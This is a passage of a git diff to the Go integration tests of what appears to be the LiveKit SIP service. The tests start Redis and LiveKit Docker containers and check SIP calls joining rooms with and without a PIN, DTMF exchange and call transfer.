*dockertest.Pool + +func TestMain(m *testing.M) { + pool, err := dockertest.NewPool("") + if err != nil { + log.Fatalf("Could not construct pool: %s", err) + } + + // uses pool to try to connect to Docker + err = pool.Client.Ping() + if err != nil { + log.Fatalf("Could not connect to Docker: %s", err) + } + Docker = pool + requireNoLeftoverSIPTestDocker() + + code := m.Run() + os.Exit(code) +} + +func waitTCPPort(t testing.TB, addr string) { + if err := Docker.Retry(func() error { + conn, err := net.Dial("tcp", addr) + if err != nil { + t.Log(err) + return err + } + _ = conn.Close() + return nil + }); err != nil { + t.Fatal(err) + } +} diff --git a/test/integration/livekit_test.go b/test/integration/livekit_test.go index f456d246d..602b514a5 100644 --- a/test/integration/livekit_test.go +++ b/test/integration/livekit_test.go @@ -1,225 +1,225 @@ -package integration - -import ( - "bytes" - "context" - "fmt" - "os" - "strings" - "sync/atomic" - "testing" - - "github.com/ory/dockertest/v3" - "github.com/ory/dockertest/v3/docker" - - "github.com/livekit/protocol/livekit" - "github.com/livekit/protocol/redis" - lksdk "github.com/livekit/server-sdk-go/v2" - - "github.com/livekit/sip/test/lktest" -) - -const ( - dockerPrefix = "siptest-" - dockerNetworkPrefix = dockerPrefix + "net" - dockerRedisPrefix = dockerPrefix + "redis" - dockerLivekitPrefix = dockerPrefix + "livekit" -) - -var debugLKServer = os.Getenv("DEBUG_LK_SERVER") != "" - -var redisLast uint32 - -func createTestNetwork(t testing.TB, name string) *dockertest.Network { - t.Helper() - existing, err := Docker.NetworksByName(name) - if err != nil { - t.Fatal(err) - } - if len(existing) > 0 { - t.Fatal("network already exists:", name) - } - network, err := Docker.CreateNetwork(name) - if err != nil { - t.Fatal(err) - } - t.Cleanup(func() { - if info, err := Docker.Client.NetworkInfo(network.Network.ID); err == nil { - network.Network = info - } - if err := Docker.RemoveNetwork(network); err != nil { - t.Log("remove network", name, err) - } - }) - return network -} - -func runRedis(t testing.TB, network *dockertest.Network) (*redis.RedisConfig, string) { - name := fmt.Sprintf("%s-%d", dockerRedisPrefix, atomic.AddUint32(&redisLast, 1)) - if _, ok := Docker.ContainerByName(name); ok { - t.Fatal("Redis container already exists:", name) - } - c, err := Docker.RunWithOptions( - &dockertest.RunOptions{ - Name: name, - Repository: "redis", Tag: "latest", - Networks: []*dockertest.Network{network}, - }) - if err != nil { - t.Fatal(err) - } - t.Cleanup(func() { - if err := Docker.Purge(c); err != nil { - t.Log("purge", name, err) - } - }) - addr := c.GetHostPort("6379/tcp") - waitTCPPort(t, addr) - - t.Log("Redis running on", addr) - // addr: host-published (SIP service); name:6379: in-network (LiveKit container). - return &redis.RedisConfig{Address: addr}, name -} - -type LiveKit struct { - Redis *redis.RedisConfig - *lktest.LiveKit -} - -var livekitLast uint32 - -func runLiveKit(t testing.TB) *LiveKit { - id := atomic.AddUint32(&livekitLast, 1) - - // Shared network so LiveKit reaches Redis by name, avoiding a - // container->host round-trip that some CI runners block. - network := createTestNetwork(t, fmt.Sprintf("%s-%d", dockerNetworkPrefix, id)) - - redis, redisName := runRedis(t, network) - - name := fmt.Sprintf("%s-%d", dockerLivekitPrefix, id) - if _, ok := Docker.ContainerByName(name); ok { - t.Fatal("Livekit-server container already exists:", name) - } - c, err := Docker.RunWithOptions( - &dockertest.RunOptions{ - Name: name, - Repository: "livekit/livekit-server", Tag: "master", - Cmd: []string{ - "--dev", - "--redis-host", redisName + ":6379", - "--bind", "0.0.0.0", - }, - ExposedPorts: []string{"7880/tcp"}, - Networks: []*dockertest.Network{network}, - }) - if err != nil { - t.Fatal(err) - } - lctx, cancel := context.WithCancel(context.Background()) - t.Cleanup(func() { - cancel() - if t.Failed() && debugLKServer { - dumpLivekitServerLogs(t, c.Container.ID) - } - if err := Docker.Purge(c); err != nil { - t.Log("purge", name, err) - } - }) - if debugLKServer { - go Docker.Client.Logs(docker.LogsOptions{ - Context: lctx, - Container: c.Container.ID, - OutputStream: os.Stderr, - ErrorStream: os.Stderr, - Follow: true, - Stdout: true, - Stderr: true, - }) - } - wsaddr := c.GetHostPort("7880/tcp") - if wsaddr == "" { - t.Fatal("LiveKit WS address is empty") - } - waitTCPPort(t, wsaddr) - wsurl := "ws://" + wsaddr - - t.Log("LiveKit WS URL:", wsurl) - - lk := &LiveKit{ - LiveKit: lktest.New(wsurl, "devkey", "secret"), - Redis: redis, - } - lk.Rooms = lksdk.NewRoomServiceClient(lk.WsUrl, lk.ApiKey, lk.ApiSecret) - lk.SIP = lksdk.NewSIPClient(lk.WsUrl, lk.ApiKey, lk.ApiSecret) - - err = Docker.Retry(func() error { - ctx := context.Background() - _, err := lk.Rooms.ListRooms(ctx, &livekit.ListRoomsRequest{}) - if err != nil { - t.Log(err) - return err - } - return nil - }) - if err != nil { - t.Fatal(err) - } - - return lk -} - -func dumpLivekitServerLogs(t testing.TB, containerID string) { - t.Helper() - var logBuffer bytes.Buffer - if err := Docker.Client.Logs(docker.LogsOptions{ - Container: containerID, - OutputStream: &logBuffer, - RawTerminal: true, - }); err != nil { - t.Log("LiveKit logs:", err) - return - } - livekitServerLogs(t, logBuffer.String(), 40) -} - -func livekitServerLogs(t testing.TB, logs string, maxLines int) { - type lineRecord struct { - number int - text string - } - lines := strings.Split(logs, "\n") - fatalLines := []*lineRecord{} - errorLines := []*lineRecord{} - tailLines := lines - truncated := false - if len(lines) > maxLines { - tailLines = lines[len(lines)-maxLines:] - truncated = true - } - for i, line := range lines { - if strings.Contains(line, "fatal") || strings.Contains(line, "panic") { - l := &lineRecord{number: i, text: line} - fatalLines = append(fatalLines, l) - } else if strings.Contains(line, "error") { - l := &lineRecord{number: i, text: line} - errorLines = append(errorLines, l) - } - } - t.Logf("Found %d fatal lines, %d error lines", len(fatalLines), len(errorLines)) - for _, l := range fatalLines { - t.Logf("Fatal line %d: %s", l.number, l.text) - } - for _, l := range errorLines { - t.Logf("Error line %d: %s", l.number, l.text) - } - if len(lines) > 0 { - t.Logf("Tail lines:") - if truncated { - t.Logf("... truncated ...") - } - for _, l := range tailLines { - t.Log(l) - } - } -} +package integration + +import ( + "bytes" + "context" + "fmt" + "os" + "strings" + "sync/atomic" + "testing" + + "github.com/ory/dockertest/v3" + "github.com/ory/dockertest/v3/docker" + + "github.com/livekit/protocol/livekit" + "github.com/livekit/protocol/redis" + lksdk "github.com/livekit/server-sdk-go/v2" + + "github.com/livekit/sip/test/lktest" +) + +const ( + dockerPrefix = "siptest-" + dockerNetworkPrefix = dockerPrefix + "net" + dockerRedisPrefix = dockerPrefix + "redis" + dockerLivekitPrefix = dockerPrefix + "livekit" +) + +var debugLKServer = os.Getenv("DEBUG_LK_SERVER") != "" + +var redisLast uint32 + +func createTestNetwork(t testing.TB, name string) *dockertest.Network { + t.Helper() + existing, err := Docker.NetworksByName(name) + if err != nil { + t.Fatal(err) + } + if len(existing) > 0 { + t.Fatal("network already exists:", name) + } + network, err := Docker.CreateNetwork(name) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + if info, err := Docker.Client.NetworkInfo(network.Network.ID); err == nil { + network.Network = info + } + if err := Docker.RemoveNetwork(network); err != nil { + t.Log("remove network", name, err) + } + }) + return network +} + +func runRedis(t testing.TB, network *dockertest.Network) (*redis.RedisConfig, string) { + name := fmt.Sprintf("%s-%d", dockerRedisPrefix, atomic.AddUint32(&redisLast, 1)) + if _, ok := Docker.ContainerByName(name); ok { + t.Fatal("Redis container already exists:", name) + } + c, err := Docker.RunWithOptions( + &dockertest.RunOptions{ + Name: name, + Repository: "redis", Tag: "latest", + Networks: []*dockertest.Network{network}, + }) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + if err := Docker.Purge(c); err != nil { + t.Log("purge", name, err) + } + }) + addr := c.GetHostPort("6379/tcp") + waitTCPPort(t, addr) + + t.Log("Redis running on", addr) + // addr: host-published (SIP service); name:6379: in-network (LiveKit container). + return &redis.RedisConfig{Address: addr}, name +} + +type LiveKit struct { + Redis *redis.RedisConfig + *lktest.LiveKit +} + +var livekitLast uint32 + +func runLiveKit(t testing.TB) *LiveKit { + id := atomic.AddUint32(&livekitLast, 1) + + // Shared network so LiveKit reaches Redis by name, avoiding a + // container->host round-trip that some CI runners block. + network := createTestNetwork(t, fmt.Sprintf("%s-%d", dockerNetworkPrefix, id)) + + redis, redisName := runRedis(t, network) + + name := fmt.Sprintf("%s-%d", dockerLivekitPrefix, id) + if _, ok := Docker.ContainerByName(name); ok { + t.Fatal("Livekit-server container already exists:", name) + } + c, err := Docker.RunWithOptions( + &dockertest.RunOptions{ + Name: name, + Repository: "livekit/livekit-server", Tag: "master", + Cmd: []string{ + "--dev", + "--redis-host", redisName + ":6379", + "--bind", "0.0.0.0", + }, + ExposedPorts: []string{"7880/tcp"}, + Networks: []*dockertest.Network{network}, + }) + if err != nil { + t.Fatal(err) + } + lctx, cancel := context.WithCancel(context.Background()) + t.Cleanup(func() { + cancel() + if t.Failed() && debugLKServer { + dumpLivekitServerLogs(t, c.Container.ID) + } + if err := Docker.Purge(c); err != nil { + t.Log("purge", name, err) + } + }) + if debugLKServer { + go Docker.Client.Logs(docker.LogsOptions{ + Context: lctx, + Container: c.Container.ID, + OutputStream: os.Stderr, + ErrorStream: os.Stderr, + Follow: true, + Stdout: true, + Stderr: true, + }) + } + wsaddr := c.GetHostPort("7880/tcp") + if wsaddr == "" { + t.Fatal("LiveKit WS address is empty") + } + waitTCPPort(t, wsaddr) + wsurl := "ws://" + wsaddr + + t.Log("LiveKit WS URL:", wsurl) + + lk := &LiveKit{ + LiveKit: lktest.New(wsurl, "devkey", "secret"), + Redis: redis, + } + lk.Rooms = lksdk.NewRoomServiceClient(lk.WsUrl, lk.ApiKey, lk.ApiSecret) + lk.SIP = lksdk.NewSIPClient(lk.WsUrl, lk.ApiKey, lk.ApiSecret) + + err = Docker.Retry(func() error { + ctx := context.Background() + _, err := lk.Rooms.ListRooms(ctx, &livekit.ListRoomsRequest{}) + if err != nil { + t.Log(err) + return err + } + return nil + }) + if err != nil { + t.Fatal(err) + } + + return lk +} + +func dumpLivekitServerLogs(t testing.TB, containerID string) { + t.Helper() + var logBuffer bytes.Buffer + if err := Docker.Client.Logs(docker.LogsOptions{ + Container: containerID, + OutputStream: &logBuffer, + RawTerminal: true, + }); err != nil { + t.Log("LiveKit logs:", err) + return + } + livekitServerLogs(t, logBuffer.String(), 40) +} + +func livekitServerLogs(t testing.TB, logs string, maxLines int) { + type lineRecord struct { + number int + text string + } + lines := strings.Split(logs, "\n") + fatalLines := []*lineRecord{} + errorLines := []*lineRecord{} + tailLines := lines + truncated := false + if len(lines) > maxLines { + tailLines = lines[len(lines)-maxLines:] + truncated = true + } + for i, line := range lines { + if strings.Contains(line, "fatal") || strings.Contains(line, "panic") { + l := &lineRecord{number: i, text: line} + fatalLines = append(fatalLines, l) + } else if strings.Contains(line, "error") { + l := &lineRecord{number: i, text: line} + errorLines = append(errorLines, l) + } + } + t.Logf("Found %d fatal lines, %d error lines", len(fatalLines), len(errorLines)) + for _, l := range fatalLines { + t.Logf("Fatal line %d: %s", l.number, l.text) + } + for _, l := range errorLines { + t.Logf("Error line %d: %s", l.number, l.text) + } + if len(lines) > 0 { + t.Logf("Tail lines:") + if truncated { + t.Logf("... truncated ...") + } + for _, l := range tailLines { + t.Log(l) + } + } +} diff --git a/test/integration/sip_test.go b/test/integration/sip_test.go index 568eda423..f026a3308 100644 --- a/test/integration/sip_test.go +++ b/test/integration/sip_test.go @@ -1,1074 +1,1074 @@ -package integration - -import ( - "context" - "fmt" - "log/slog" - "math/rand" - "net" - "net/netip" - "os" - "strconv" - "sync" - "testing" - "time" - - "github.com/stretchr/testify/require" - - "github.com/livekit/protocol/tracer/jaeger" - "github.com/livekit/psrpc/pkg/middleware/otelpsrpc" - - "github.com/livekit/media-sdk/dtmf" - "github.com/livekit/media-sdk/g711" - "github.com/livekit/media-sdk/g722" - "github.com/livekit/mediatransportutil/pkg/rtcconfig" - "github.com/livekit/protocol/livekit" - "github.com/livekit/protocol/logger" - "github.com/livekit/protocol/redis" - "github.com/livekit/protocol/rpc" - "github.com/livekit/protocol/utils" - "github.com/livekit/psrpc" - lksdk "github.com/livekit/server-sdk-go/v2" - sipgo "github.com/livekit/sipgo/sip" - - "github.com/livekit/sip/pkg/config" - "github.com/livekit/sip/pkg/service" - "github.com/livekit/sip/pkg/sip" - "github.com/livekit/sip/pkg/siptest" - "github.com/livekit/sip/pkg/stats" - "github.com/livekit/sip/test/lktest" -) - -type SIPServer struct { - LiveKit *LiveKit - Client *lksdk.SIPClient - IP netip.Addr - Address string - Host string -} - -func runSIPServer(t testing.TB, lk *LiveKit) *SIPServer { - rc, err := redis.GetRedisClient(lk.Redis) - if err != nil { - t.Fatal(err) - } - t.Cleanup(func() { - _ = rc.Close() - }) - - sipPort := 5060 + rand.Intn(1000) - local, err := config.GetLocalIP() - require.NoError(t, err) - conf := &config.Config{ - ServiceName: "sip", - NodeID: utils.NewGuid("NS_"), - ApiKey: lk.ApiKey, - ApiSecret: lk.ApiSecret, - WsUrl: lk.WsUrl, - Redis: lk.Redis, - PSRPC: rpc.DefaultPSRPCConfig, - SIPPort: sipPort, - SIPPortListen: sipPort, - ListenIP: local.String(), - LocalNet: local.String() + "/24", - RTPPort: rtcconfig.PortRange{Start: 20000, End: 20010}, - UseExternalIP: false, - MaxCpuUtilization: 0.9, - Logging: logger.Config{Level: "debug"}, - EnableJitterBuffer: true, - JaegerURL: os.Getenv("JAEGER_URL"), - } - _ = conf.InitLogger() - log := logger.NewTestLogger(t) - if conf.JaegerURL != "" { - jaeger.Configure(t.Context(), conf.JaegerURL, conf.ServiceName) - } - - bus := psrpc.NewRedisMessageBus(rc, conf.PSRPC.BusOptions()...) - psrpcCli, err := rpc.NewIOInfoClient(bus, - otelpsrpc.ClientOptions(otelpsrpc.Config{}), - ) - if err != nil { - t.Fatal(err) - } - - mon, err := stats.NewMonitor(conf) - if err != nil { - t.Fatal(err) - } - sipsrv, err := sip.NewService("", conf, mon, log, func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) sip.StateHandler { - return sip.NewRPCStateHandler(psrpcCli) - }) - if err != nil { - t.Fatal(err) - } - - svc := service.NewService(conf, log, sipsrv, sipsrv.Stop, sipsrv.ActiveCalls, psrpcCli, bus, mon) - sipsrv.SetHandler(svc) - t.Cleanup(func() { - svc.Stop(true) - }) - - if err = sipsrv.Start(); err != nil { - t.Fatal(err) - } - t.Cleanup(sipsrv.Stop) - - go func() { - if err := svc.Run(); err != nil { - t.Fatal(err) - } - }() - time.Sleep(time.Second * 2) - - // TODO: If we try to dial localhost here, the first packet will go to 127.0.0.1, while the server will - // respond from an IP that was selected above. This breaks the SIP client because it uses net.DialUDP, - // which in turn only accepts UDP from the address used in DialUDP. - addr := local - return &SIPServer{ - LiveKit: lk, - Client: lksdk.NewSIPClient(lk.WsUrl, lk.ApiKey, lk.ApiSecret), - IP: addr, - Address: fmt.Sprintf("%s:%d", addr, conf.SIPPort), - Host: "sip.local", - } -} - -type NumberConfig struct { - SIP *SIPServer - TrunkID string - RuleID string - Number string - Pin string - AuthUser string - AuthPass string -} - -func (s *SIPServer) CreateTrunkOut(t testing.TB, trunk *livekit.SIPOutboundTrunkInfo) string { - ctx := context.Background() - tr, err := s.Client.CreateSIPOutboundTrunk(ctx, &livekit.CreateSIPOutboundTrunkRequest{ - Trunk: trunk, - }) - if err != nil { - t.Fatal(err) - } - t.Log("New trunk (outbound):", tr.SipTrunkId) - return tr.SipTrunkId -} - -func (s *SIPServer) CreateTrunkIn(t testing.TB, trunk *livekit.SIPInboundTrunkInfo) string { - ctx := context.Background() - tr, err := s.Client.CreateSIPInboundTrunk(ctx, &livekit.CreateSIPInboundTrunkRequest{ - Trunk: trunk, - }) - if err != nil { - t.Fatal(err) - } - t.Log("New trunk (inbound):", tr.SipTrunkId) - return tr.SipTrunkId -} - -func (s *SIPServer) DeleteTrunk(t testing.TB, id string) { - ctx := context.Background() - _, err := s.Client.DeleteSIPTrunk(ctx, &livekit.DeleteSIPTrunkRequest{ - SipTrunkId: id, - }) - if err != nil { - t.Fatal(id, err) - } -} - -func (s *SIPServer) CreateTrunkAndDirect(t testing.TB, trunk *livekit.SIPInboundTrunkInfo, room, pin string, meta string, attrs map[string]string) *NumberConfig { - trunkID := s.CreateTrunkIn(t, trunk) - ruleID := s.CreateDirectDispatch(t, room, pin, meta, attrs) - return &NumberConfig{ - SIP: s, - TrunkID: trunkID, RuleID: ruleID, - Number: trunk.Numbers[0], Pin: pin, - } -} - -func (s *SIPServer) CreateTrunkAndIndividual(t testing.TB, trunk *livekit.SIPInboundTrunkInfo, room, pin string, meta string, attrs map[string]string) *NumberConfig { - trunkID := s.CreateTrunkIn(t, trunk) - ruleID := s.CreateIndividualDispatch(t, room, pin, meta, attrs) - return &NumberConfig{ - SIP: s, - TrunkID: trunkID, RuleID: ruleID, - Number: trunk.Numbers[0], Pin: pin, - } -} - -func (s *SIPServer) CreateDirectDispatch(t testing.TB, room, pin string, meta string, attrs map[string]string) string { - ctx := context.Background() - dr, err := s.Client.CreateSIPDispatchRule(ctx, &livekit.CreateSIPDispatchRuleRequest{ - Name: room, - Metadata: meta, - Attributes: attrs, - Rule: &livekit.SIPDispatchRule{ - Rule: &livekit.SIPDispatchRule_DispatchRuleDirect{ - DispatchRuleDirect: &livekit.SIPDispatchRuleDirect{ - RoomName: room, Pin: pin, - }, - }, - }, - }) - if err != nil { - t.Fatal(err) - } - t.Log("New dispatch rule (direct):", dr.SipDispatchRuleId) - return dr.SipDispatchRuleId -} - -func (s *SIPServer) CreateIndividualDispatch(t testing.TB, pref, pin string, meta string, attrs map[string]string) string { - ctx := context.Background() - dr, err := s.Client.CreateSIPDispatchRule(ctx, &livekit.CreateSIPDispatchRuleRequest{ - Metadata: meta, - Attributes: attrs, - Rule: &livekit.SIPDispatchRule{ - Rule: &livekit.SIPDispatchRule_DispatchRuleIndividual{ - DispatchRuleIndividual: &livekit.SIPDispatchRuleIndividual{ - RoomPrefix: pref, Pin: pin, - }, - }, - }, - }) - if err != nil { - t.Fatal(err) - } - t.Log("Dispatch (individual):", dr.SipDispatchRuleId) - return dr.SipDispatchRuleId -} - -func (s *SIPServer) DeleteDispatch(t testing.TB, id string) { - ctx := context.Background() - _, err := s.Client.DeleteSIPDispatchRule(ctx, &livekit.DeleteSIPDispatchRuleRequest{ - SipDispatchRuleId: id, - }) - if err != nil { - t.Fatal(id, err) - } -} - -func runClient(t testing.TB, conf *NumberConfig, ip netip.Addr, id string, number string, forcePin bool, headers map[string]string, onDTMF func(ev dtmf.Event), onBye func(), onRefer func(req *sipgo.Request)) *siptest.Client { - return runClientWithCodec(t, conf, ip, id, number, "", forcePin, headers, onDTMF, onBye, onRefer) -} - -func runClientWithCodec(t testing.TB, conf *NumberConfig, ip netip.Addr, id, number string, codec string, forcePin bool, headers map[string]string, onDTMF func(ev dtmf.Event), onBye func(), onRefer func(req *sipgo.Request)) *siptest.Client { - cconf := siptest.ClientConfig{ - // IP: dockerBridgeIP, - IP: ip, - Number: number, - AuthUser: conf.AuthUser, - AuthPass: conf.AuthPass, - Codec: codec, - Log: slog.New(slog.NewTextHandler(os.Stderr, &slog.HandlerOptions{Level: slog.LevelDebug})), - OnMediaTimeout: func() { - t.Fatal("media timeout from server to test client") - }, - OnDTMF: onDTMF, - OnBye: onBye, - OnRefer: onRefer, - } - - cli, err := siptest.NewClient(id, cconf) - if err != nil { - t.Fatal(err) - } - t.Cleanup(cli.Close) - - err = cli.Dial(conf.SIP.Address, conf.SIP.Host, conf.Number, headers) - if err != nil { - t.Fatal(err) - } - if conf.Pin != "" || forcePin { - err = cli.SendDTMF(conf.Pin + "#") - if err != nil { - t.Fatal(err) - } - } - return cli -} - -const ( - serverNumber = "+000000000" - clientNumber = "+111111111" - transferNumber = "+222222222" - participantsJoinTimeout = 5 * time.Second - participantsJoinWithPinTimeout = participantsJoinTimeout + 5*time.Second - participantsLeaveTimeout = 3 * time.Second - webrtcSetupDelay = 5 * time.Second - notifyIntervalDelay = 100 * time.Millisecond -) - -func TestSIPJoinOpenRoom(t *testing.T) { - lk := runLiveKit(t) - var ( - dmu sync.Mutex - dtmfOut string - dtmfIn string - referRequest *sipgo.Request - ) - const ( - clientID = "test-cli" - roomName = "test-open" - meta = `{"test":true}` - customAttr = "my.attr" - customVal = "custom" - ) - r := lk.ConnectWithAudio(t, roomName, "test", &lksdk.RoomCallback{ - ParticipantCallback: lksdk.ParticipantCallback{ - OnDataPacket: func(data lksdk.DataPacket, params lksdk.DataReceiveParams) { - switch data := data.(type) { - case *livekit.SipDTMF: - dmu.Lock() - dtmfOut += data.Digit - dmu.Unlock() - } - }, - }, - }) - srv := runSIPServer(t, lk) - - nc := srv.CreateTrunkAndDirect(t, &livekit.SIPInboundTrunkInfo{ - Numbers: []string{serverNumber}, - Headers: map[string]string{ - "X-LK-Accepted": "1", - }, - HeadersToAttributes: map[string]string{ - "X-LK-Inbound": "test.lk.inbound", - }, - }, roomName, "", meta, map[string]string{ - customAttr: customVal, - }) - - transferDone := make(chan struct{}) - byeReceived := make(chan struct{}) - - cli := runClient(t, nc, srv.IP, clientID, clientNumber, false, map[string]string{ - "X-LK-Inbound": "1", - }, func(ev dtmf.Event) { - dmu.Lock() - defer dmu.Unlock() - dtmfIn += string(ev.Digit) - }, func() { - close(byeReceived) - }, func(req *sipgo.Request) { - dmu.Lock() - defer dmu.Unlock() - referRequest = req - }) - - h := sip.Headers(cli.RemoteHeaders()).GetHeader("X-LK-Accepted") - require.NotNil(t, h) - require.Equal(t, "1", h.Value()) - - // Send audio, so that we don't trigger media timeout. - mctx, mcancel := context.WithCancel(context.Background()) - defer mcancel() - go cli.SendSilence(mctx) - - // Room should be created automatically with exact name. - // SIP participant should be visible and have a proper kind. - ctx, cancel := context.WithTimeout(context.Background(), participantsJoinTimeout) - defer cancel() - lk.ExpectRoomWithParticipants(t, ctx, roomName, []lktest.ParticipantInfo{ - {Identity: "test"}, - { - Identity: "sip_" + clientNumber, - Name: "Phone " + clientNumber, - Kind: livekit.ParticipantInfo_SIP, - Metadata: meta, - Attributes: map[string]string{ - "sip.callID": lktest.AttrTestAny, // special case - "sip.callStatus": "active", - "sip.trunkPhoneNumber": serverNumber, - "sip.phoneNumber": clientNumber, - "sip.ruleID": nc.RuleID, - "sip.trunkID": nc.TrunkID, - "lktest.id": clientID, - "test.lk.inbound": "1", // from SIP headers - customAttr: customVal, - }, - }, - }) - - // Wait for WebRTC to come online. - time.Sleep(webrtcSetupDelay) - - // Test that we can send DTMF data to LK participants. - const dtmfDigits = "*111#" - err := cli.SendDTMF(dtmfDigits) - require.NoError(t, err) - - require.Eventually(t, func() bool { - dmu.Lock() - defer dmu.Unlock() - return dtmfOut == dtmfDigits - }, 5*time.Second, time.Second/2) - - err = r.LocalParticipant.PublishDataPacket(&livekit.SipDTMF{Digit: "4567"}, lksdk.WithDataPublishReliable(true)) - require.NoError(t, err) - - require.Eventually(t, func() bool { - dmu.Lock() - defer dmu.Unlock() - return dtmfIn == "4567" - }, 5*time.Second, time.Second/2) - - go func() { - // TransferSIPParticipant is synchronous - _, err = lk.SIP.TransferSIPParticipant(context.Background(), &livekit.TransferSIPParticipantRequest{ - RoomName: roomName, - ParticipantIdentity: "sip_" + clientNumber, - TransferTo: "tel:" + transferNumber, - }) - require.NoError(t, err) - close(transferDone) - }() - - require.Eventually(t, func() bool { - dmu.Lock() - defer dmu.Unlock() - - return referRequest != nil - - }, 5*time.Second, time.Second/2) - - require.Equal(t, sipgo.REFER, referRequest.Method) - transferTo := referRequest.GetHeader("Refer-To") - require.Equal(t, "", transferTo.Value()) - - time.Sleep(notifyIntervalDelay) - err = cli.SendNotify(referRequest, "SIP/2.0 100 Trying") - require.NoError(t, err) - - time.Sleep(notifyIntervalDelay) - err = cli.SendNotify(referRequest, "SIP/2.0 200 OK") - require.NoError(t, err) - - select { - case <-transferDone: - case <-time.After(participantsLeaveTimeout): - t.Fatal("participant transfer call never completed") - } - - select { - case <-byeReceived: - case <-time.After(participantsLeaveTimeout): - t.Fatal("did not receive bye after notify") - } - - cli.Close() - r.Disconnect() - - // SIP participant should have left - ctx, cancel = context.WithTimeout(context.Background(), participantsLeaveTimeout) - defer cancel() - lk.ExpectRoomWithParticipants(t, ctx, roomName, nil) -} - -func TestSIPJoinPinRoom(t *testing.T) { - lk := runLiveKit(t) - var ( - dmu sync.Mutex - dtmf string - referRequest *sipgo.Request - ) - const ( - clientID = "test-cli" - roomName = "test-priv" - meta = `{"test":true}` - customAttr = "my.attr" - customVal = "custom" - ) - r := lk.Connect(t, roomName, "test", &lksdk.RoomCallback{ - ParticipantCallback: lksdk.ParticipantCallback{ - OnDataPacket: func(data lksdk.DataPacket, params lksdk.DataReceiveParams) { - switch data := data.(type) { - case *livekit.SipDTMF: - dmu.Lock() - dtmf += data.Digit - dmu.Unlock() - } - }, - }, - }) - srv := runSIPServer(t, lk) - - nc := srv.CreateTrunkAndDirect(t, &livekit.SIPInboundTrunkInfo{ - Numbers: []string{serverNumber}, - Headers: map[string]string{ - "X-LK-Accepted": "1", - }, - HeadersToAttributes: map[string]string{ - "X-LK-Inbound": "test.lk.inbound", - }, - }, roomName, "1234", meta, map[string]string{ - customAttr: customVal, - }) - - transferDone := make(chan struct{}) - - cli := runClient(t, nc, srv.IP, clientID, clientNumber, false, map[string]string{ - "X-LK-Inbound": "1", - }, nil, nil, func(req *sipgo.Request) { - dmu.Lock() - defer dmu.Unlock() - referRequest = req - }) - - // Even though we set this header in the dispatch rule, PIN forces us to send response earlier. - // Because of this, we can no longer attach attributes from a selected dispatch rule later. - h := sip.Headers(cli.RemoteHeaders()).GetHeader("X-LK-Accepted") - require.Nil(t, h) - - // Send audio, so that we don't trigger media timeout. - mctx, mcancel := context.WithCancel(context.Background()) - defer mcancel() - go cli.SendSilence(mctx) - - // Room should be created automatically with exact name. - // SIP participant should be visible and have a proper kind. - // This needs additional time for the "enter pin" message to end. - ctx, cancel := context.WithTimeout(context.Background(), participantsJoinWithPinTimeout) - defer cancel() - - lk.ExpectRoomWithParticipants(t, ctx, roomName, []lktest.ParticipantInfo{ - {Identity: "test"}, - { - Identity: "sip_" + clientNumber, - Name: "Phone " + clientNumber, - Kind: livekit.ParticipantInfo_SIP, - Metadata: meta, - Attributes: map[string]string{ - "sip.callID": lktest.AttrTestAny, // special case - "sip.callStatus": "active", - "sip.trunkPhoneNumber": serverNumber, - "sip.phoneNumber": clientNumber, - "sip.ruleID": nc.RuleID, - "sip.trunkID": nc.TrunkID, - "lktest.id": clientID, - "test.lk.inbound": "1", // from SIP headers - customAttr: customVal, - }, - }, - }) - - // Wait for WebRTC to come online. - time.Sleep(webrtcSetupDelay) - - // Stop sending audio. We need it for DTMF tones now. - cancel() - - // Test that we can send DTMF data to LK participants. - const dtmfDigits = "*111#" - err := cli.SendDTMF(dtmfDigits) - require.NoError(t, err) - - require.Eventually(t, func() bool { - dmu.Lock() - defer dmu.Unlock() - return dtmf == dtmfDigits - }, 5*time.Second, time.Second/2) - - go func() { - // TransferSIPParticipant is synchronous - _, err = lk.SIP.TransferSIPParticipant(context.Background(), &livekit.TransferSIPParticipantRequest{ - RoomName: "test-priv", - ParticipantIdentity: "sip_" + clientNumber, - TransferTo: "tel:" + transferNumber, - }) - require.Error(t, err) - close(transferDone) - }() - - require.Eventually(t, func() bool { - dmu.Lock() - defer dmu.Unlock() - - return referRequest != nil - - }, 5*time.Second, time.Second/2) - - require.Equal(t, sipgo.REFER, referRequest.Method) - transferTo := referRequest.GetHeader("Refer-To") - require.Equal(t, "", transferTo.Value()) - - time.Sleep(notifyIntervalDelay) - err = cli.SendNotify(referRequest, "SIP/2.0 403 Fobidden") - require.NoError(t, err) - - select { - case <-transferDone: - case <-time.After(participantsLeaveTimeout): - t.Fatal("participant transfer call never completed") - } - - // Participants should all still be there - time.Sleep(time.Second) - lk.ExpectRoomWithParticipants(t, ctx, roomName, []lktest.ParticipantInfo{ - {Identity: "test"}, - { - Identity: "sip_" + clientNumber, - Name: "Phone " + clientNumber, - Kind: livekit.ParticipantInfo_SIP, - Metadata: meta, - Attributes: map[string]string{ - "sip.callID": lktest.AttrTestAny, // special case - "sip.callStatus": "active", - "sip.trunkPhoneNumber": serverNumber, - "sip.phoneNumber": clientNumber, - "sip.ruleID": nc.RuleID, - "sip.trunkID": nc.TrunkID, - "lktest.id": clientID, - "test.lk.inbound": "1", // from SIP headers - customAttr: customVal, - }, - }, - }) - - cli.Close() - r.Disconnect() - - // SIP participant must disconnect from LK room on hangup. - ctx, cancel = context.WithTimeout(context.Background(), participantsLeaveTimeout) - defer cancel() - lk.ExpectRoomWithParticipants(t, ctx, roomName, nil) -} - -func TestSIPJoinOpenRoomWithPin(t *testing.T) { - lk := runLiveKit(t) - srv := runSIPServer(t, lk) - - const ( - clientID = "test-cli" - roomName = "test-open" - meta = `{"test":true}` - customAttr = "my.attr" - customVal = "custom" - ) - nc := srv.CreateTrunkAndDirect(t, &livekit.SIPInboundTrunkInfo{ - Numbers: []string{serverNumber}, - }, roomName, "", meta, map[string]string{ - customAttr: customVal, - }) - srv.CreateDirectDispatch(t, "test-priv", "1234", "", nil) - - cli := runClient(t, nc, srv.IP, clientID, clientNumber, true, nil, nil, nil, nil) - - // Send audio, so that we don't trigger media timeout. - mctx, mcancel := context.WithCancel(context.Background()) - defer mcancel() - go cli.SendSilence(mctx) - - // This needs additional time for the "enter pin" message to end. - ctx, cancel := context.WithTimeout(context.Background(), participantsJoinWithPinTimeout) - defer cancel() - lk.ExpectRoomWithParticipants(t, ctx, roomName, []lktest.ParticipantInfo{ - { - Identity: "sip_" + clientNumber, - Name: "Phone " + 